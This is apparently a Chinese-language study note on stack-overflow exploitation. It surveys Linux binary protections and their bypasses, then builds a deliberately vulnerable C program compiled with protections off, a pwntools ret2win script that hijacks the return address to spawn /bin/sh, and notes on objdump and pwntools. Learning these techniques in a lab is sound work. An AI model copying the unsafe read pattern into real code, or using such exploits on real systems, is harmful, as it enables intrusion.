02_保护与溢出
保护机制
1. NX (No-eXecute)
简介:NX保护指的是将内存分为可执行和不可执行区域,从而禁止在数据区域(如栈或堆)上执行代码。
防护目的:防止代码注入攻击(如栈溢出时执行shellcode)。
绕过方式:
利用ROP (Return Oriented Programming),通过调用已有的代码片段(Gadget),组合成攻击链执行任意指令。
2. ASLR (Address Space Layout Randomization)
简介:ASLR会随机化程序在内存中的加载地址,包括堆、栈、动态链接库和代码段等区域。
防护目的:防止攻击者预知关键函数和缓冲区的地址,阻止对硬编码地址的利用。
绕过方式:
信息泄露:通过信息泄露漏洞获取某些基址。
局部溢出:通过栈偏移等方法获得部分地址。
3. Canary(栈保护)
简介:Canary是在函数栈帧的返回地址之前放置一个特殊的值(Canary),当函数返回时会检查该值是否被篡改。如果值发生改变,则程序会检测到并终止执行。
防护目的:防止栈溢出攻击修改返回地址。
绕过方式:
利用信息泄露读取Canary值后再进行溢出。
仅影响局部变量而不覆盖Canary。
4. RELRO (Read-Only Relocations)
简介:RELRO分为部分(Partial)和完全(Full)两种。启用时,会使全局偏移表(GOT)变为只读,防止修改GOT表从而实现函数劫持。
Partial RELRO:程序在运行时仍然可以修改GOT。
Full RELRO:GOT表被标记为只读,不能再修改。
防护目的:防止利用修改GOT表来重定向程序流(如函数劫持)。
绕过方式:
Partial RELRO下,依然可以通过GOT劫持。
Full RELRO比较难绕过,需要其他漏洞配合。
5. PIE (Position Independent Executable)
简介:PIE允许程序代码段在内存中随机加载,类似于ASLR,但应用于程序自身的代码段。这意味着程序的函数和变量地址每次运行都会变化。
防护目的:防止硬编码地址攻击,特别是对程序的直接攻击。
绕过方式:
通过信息泄露获取偏移基址,再进行计算攻击。
6. Fortify Source
简介:这是编译器提供的额外安全检查机制,能够在编译时加入对某些函数(如
strcpy
,sprintf
)的额外检查,避免容易产生漏洞的代码。防护目的:减少程序员常见的漏洞类型,如缓冲区溢出。
绕过方式:
更加精细的漏洞利用技巧,或者攻击未受到保护的函数。
7. Seccomp (Secure Computing Mode)
简介:Seccomp是一种限制进程可以执行的系统调用(syscall)集合的机制。在程序启用Seccomp后,程序只能执行有限的系统调用,防止通过ROP或其他方式利用恶意系统调用。
防护目的:减少攻击面,限制潜在的攻击方式(如避免
execve
等危险调用)。绕过方式:
寻找程序允许的系统调用中的漏洞。
利用其他漏洞逃避Seccomp的限制。
8. Stack Smashing Protection (SSP)
简介:SSP是编译器层面的一种栈保护机制,常见于gcc编译器中,防止函数栈帧中出现栈溢出。
防护目的:防止局部缓冲区溢出对函数返回地址的破坏。
绕过方式:
信息泄露配合使用,或绕过局部变量区域。
9. W^X(Write XOR Execute)
简介:W^X是一种内存保护策略,确保每一个内存页要么是可写的,要么是可执行的,但不能同时为可写和可执行。该机制防止了攻击者将代码写入内存并立即执行。
防护目的:防止代码注入和动态代码生成。
绕过方式:
结合ROP、JOP等无代码注入的攻击技术。
溢出
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
在linux里gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c
编译这个文件
objdump -t -j .text read
objdump介绍
objdump
是一个用于分析和反汇编二进制文件的工具,通常与 GNU 工具链一起使用。它可以处理多种格式的对象文件,包括 ELF、COFF 和 PE 文件,常用于查看可执行文件或库的内部结构。以下是 objdump
的一些主要功能和用法:
主要功能
反汇编:
使用
-d
选项,可以将机器代码转换为人类可读的汇编代码。示例:
objdump -d filename
。
查看符号表:
使用
-t
或--syms
选项,可以列出对象文件中的符号表,显示函数和变量的信息。示例:
objdump -t filename
。
显示文件头信息:
使用
-f
或--file-header
选项,可以查看文件的头部信息,包括格式、体系结构等。示例:
objdump -f filename
。
查看节头信息:
使用
-h
选项,可以列出文件中所有节的信息,包括名称、大小和地址。示例:
objdump -h filename
。
显示所有可用选项:
使用
--help
可以查看所有支持的命令和选项。
常用选项
-S
:反汇编并交叉引用源代码。-x
:显示所有可用的信息,包括节、符号和重定位信息。--disassemble
:仅反汇编特定的符号。
示例
objdump -d my_program
objdump -t my_library.so
objdump -f my_executable
进入gdb,disass func 看一下汇编指令
from pwn import *
p = process('./read')
offset = 0x28 + 0x4
payload = b'a' * offset + p32(0x08049176)
p.sendline(payload)
p.interactive()
from pwn import *
send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
(以下可以看作until的特例)
recvline(keepends=True) : 接收到n,keepends指定保留n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互